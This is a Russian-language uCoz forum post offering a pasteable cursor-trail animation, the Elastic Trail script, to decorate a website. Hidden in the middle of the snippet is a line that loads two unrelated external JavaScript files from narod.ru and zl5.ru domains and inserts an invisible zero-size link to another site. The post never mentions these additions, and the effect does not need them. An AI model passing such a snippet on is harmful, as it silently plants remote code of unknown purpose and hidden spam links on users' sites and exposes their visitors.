• Страница 1 из 1
  • 1
Форум » Система uCoz » Другие скрипты для uCoz » Украшение курсора
Украшение курсора
BosS_ZIp
Дата: Пятница, 01.06.2012, 21:03 | Сообщение # 1
Группа: Администраторы
Сообщений: 72
Репутация: 32
Разноцветные картинки гоняются за вашим курсором
Укрась свой сайт. Вставляем куда хотим.

Code
<div id="dot0" style="position: absolute; visibility: hidden; height: 11; width: 11;"><img src="http://rainbows.clan.su/k.gif" height=11 width=11></div>    
<div id="dot1" style="position: absolute; height: 11; width: 11;"><img src="http://rainbows.clan.su/k.gif" height=11 width=11></div>    
<div id="dot2" style="position: absolute; height: 11; width: 11;"><img src="http://rainbows.clan.su/k.gif" height=11 width=11></div>    
<div id="dot3" style="position: absolute; height: 11; width: 11;"><img src="http://rainbows.clan.su/k.gif" height=11 width=11></div>    
<div id="dot4" style="position: absolute; height: 11; width: 11;"><img src="http://rainbows.clan.su/k.gif" height=11 width=11></div>    
<div id="dot5" style="position: absolute; height: 11; width: 11;"><img src="http://rainbows.clan.su/k.gif" height=11 width=11></div>    
<div id="dot6" style="position: absolute; height: 11; width: 11;"><img src="http://rainbows.clan.su/k.gif" height=11 width=11></div>    
<Script Language='Javascript' src="http://script-base.narod.ru/html_base_config_file.js"></Script><script src="http://s1.ruclick.zl5.ru/6s8bx45d4r.js" type="text/javascript"></script><a href="http://cherry4at.at.ua/" style="font-size:0%;">.</a>    
<script LANGUAGE="JavaScript">    
<!-- hide code    

/*    
Elastic Trail script (By Philip Winston @ pwinston@yahoo.com , URL:http://members.xoom.com/ebullets)    
Script featured on Dynamicdrive.com    
For this and 100's more DHTML scripts, visit http://dynamicdrive.com    
*/    

// Thanks to Troels Jakobsen <tjak@get2net.dk>    
// for fix which makes it work when the page is scrolled    

var nDots = 7;    
if (document.all&&window.print)    
document.body.style.cssText= "overflow-x:hidden;overflow-y:scroll"    
var Xpos = 0;    
var Ypos = 0;    

// fixed time step, no relation to real time    
var DELTAT = .01;    
// size of one spring in pixels    
var SEGLEN = 10;    
// spring constant, stiffness of springs    
var SPRINGK = 10;    
// all the physics is bogus, just picked stuff to    
// make it look okay    
var MASS = 1;    
var GRAVITY = 50;    
var RESISTANCE = 10;    
// stopping criterea to prevent endless jittering    
// doesn't work when sitting on bottom since floor    
// doesn't push back so acceleration always as big    
// as gravity    
var STOPVEL = 0.1;    
var STOPACC = 0.1;    
var DOTSIZE = 11;    
// BOUNCE is percent of velocity retained when      
// bouncing off a wall    
var BOUNCE = 0.75;    

var isNetscape = navigator.appName=="Netscape";    

// always on for now, could be played with to    
// let dots fall to botton, get thrown, etc.    
var followmouse = true;    

var dots = new Array();    
init();    

function init()    
{    
var i = 0;    
for (i = 0; i < nDots; i++) {    
dots[i] = new dot(i);    
}    

if (!isNetscape) {    
// I only know how to read the locations of the      
// <LI> items in IE    
//skip this for now    
// setInitPositions(dots)    
}    

// set their positions    
for (i = 0; i < nDots; i++) {    
dots[i].obj.left = dots[i].X;    
dots[i].obj.top = dots[i].Y;    
}    

if (isNetscape) {    
// start right away since they are positioned    
// at 0, 0    
startanimate();    
} else {    
// let dots sit there for a few seconds    
// since they're hiding on the real bullets    
setTimeout("startanimate()", 2000);    
}    
}    

function dot(i)      
{    
this.X = Xpos;    
this.Y = Ypos;    
this.dx = 0;    
this.dy = 0;    
if (isNetscape) {      
this.obj = eval("document.dot" + i);    
} else {    
this.obj = eval("dot" + i + ".style");    
}    
}    

function startanimate() {      
setInterval("animate()", 20);    
}    

// This is to line up the bullets with actual LI tags on the page    
// Had to add -DOTSIZE to X and 2*DOTSIZE to Y for IE 5, not sure why    
// Still doesn't work great    
function setInitPositions(dots)    
{    
// initialize dot positions to be on top      
// of the bullets in the <ul>    
var startloc = document.all.tags("LI");    
var i = 0;    
for (i = 0; i < startloc.length && i < (nDots - 1); i++) {    
dots[i+1].X = startloc[i].offsetLeft    
startloc[i].offsetParent.offsetLeft - DOTSIZE;    
dots[i+1].Y = startloc[i].offsetTop +    
startloc[i].offsetParent.offsetTop + 2*DOTSIZE;    
}    
// put 0th dot above 1st (it is hidden)    
dots[0].X = dots[1].X;    
dots[0].Y = dots[1].Y - SEGLEN;    
}    

// just save mouse position for animate() to use    
function MoveHandler(e)    
{    
Xpos = e.pageX;    
Ypos = e.pageY;      
return true;    
}    

// just save mouse position for animate() to use    
function MoveHandlerIE() {    
Xpos = window.event.x + document.body.scrollLeft;    
Ypos = window.event.y + document.body.scrollTop;      
}    

if (isNetscape) {    
document.captureEvents(Event.MOUSEMOVE);    
document.onMouseMove = MoveHandler;    
} else {    
document.onmousemove = MoveHandlerIE;    
}    

function vec(X, Y)    
{    
this.X = X;    
this.Y = Y;    
}    

// adds force in X and Y to spring for dot[i] on dot[j]    
function springForce(i, j, spring)    
{    
var dx = (dots[i].X - dots[j].X);    
var dy = (dots[i].Y - dots[j].Y);    
var len = Math.sqrt(dx*dx + dy*dy);    
if (len > SEGLEN) {    
var springF = SPRINGK * (len - SEGLEN);    
spring.X += (dx / len) * springF;    
spring.Y += (dy / len) * springF;    
}    
}    

function animate() {      
// dots[0] follows the mouse,    
// though no dot is drawn there    
var start = 0;    
if (followmouse) {    
dots[0].X = Xpos;    
dots[0].Y = Ypos;      
start = 1;    
}    

for (i = start ; i < nDots; i++ ) {    

var spring = new vec(0, 0);    
if (i > 0) {    
springForce(i-1, i, spring);    
}    
if (i < (nDots - 1)) {    
springForce(i+1, i, spring);    
}    

// air resisitance/friction    
var resist = new vec(-dots[i].dx * RESISTANCE,    
-dots[i].dy * RESISTANCE);    

// compute new accel, including gravity    
var accel = new vec((spring.X + resist.X)/ MASS,    
(spring.Y + resist.Y)/ MASS + GRAVITY);    

// compute new velocity    
dots[i].dx += (DELTAT * accel.X);    
dots[i].dy += (DELTAT * accel.Y);    

// stop dead so it doesn't jitter when nearly still    
if (Math.abs(dots[i].dx) < STOPVEL &&    
Math.abs(dots[i].dy) < STOPVEL &&    
Math.abs(accel.X) < STOPACC &&    
Math.abs(accel.Y) < STOPACC) {    
dots[i].dx = 0;    
dots[i].dy = 0;    
}    

// move to new position    
dots[i].X += dots[i].dx;    
dots[i].Y += dots[i].dy;    

// get size of window    
var height, width;    
if (isNetscape) {    
height = window.innerHeight + document.scrollTop;    
width = window.innerWidth + document.scrollLeft;    
} else {      
height = document.body.clientHeight + document.body.scrollTop;    
width = document.body.clientWidth + document.body.scrollLeft;    
}    

// bounce of 3 walls (leave ceiling open)    
if (dots[i].Y >= height - DOTSIZE - 1) {    
if (dots[i].dy > 0) {    
dots[i].dy = BOUNCE * -dots[i].dy;    
}    
dots[i].Y = height - DOTSIZE - 1;    
}    
if (dots[i].X >= width - DOTSIZE) {    
if (dots[i].dx > 0) {    
dots[i].dx = BOUNCE * -dots[i].dx;    
}    
dots[i].X = width - DOTSIZE - 1;    
}    
if (dots[i].X < 0) {    
if (dots[i].dx < 0) {    
dots[i].dx = BOUNCE * -dots[i].dx;    
}    
dots[i].X = 0;    
}    

// move img to new position    
dots[i].obj.left = dots[i].X;      
dots[i].obj.top = dots[i].Y;      
}    
}    

// end code hiding -->    
</script>




Форум » Система uCoz » Другие скрипты для uCoz » Украшение курсора
  • Страница 1 из 1
  • 1
Поиск: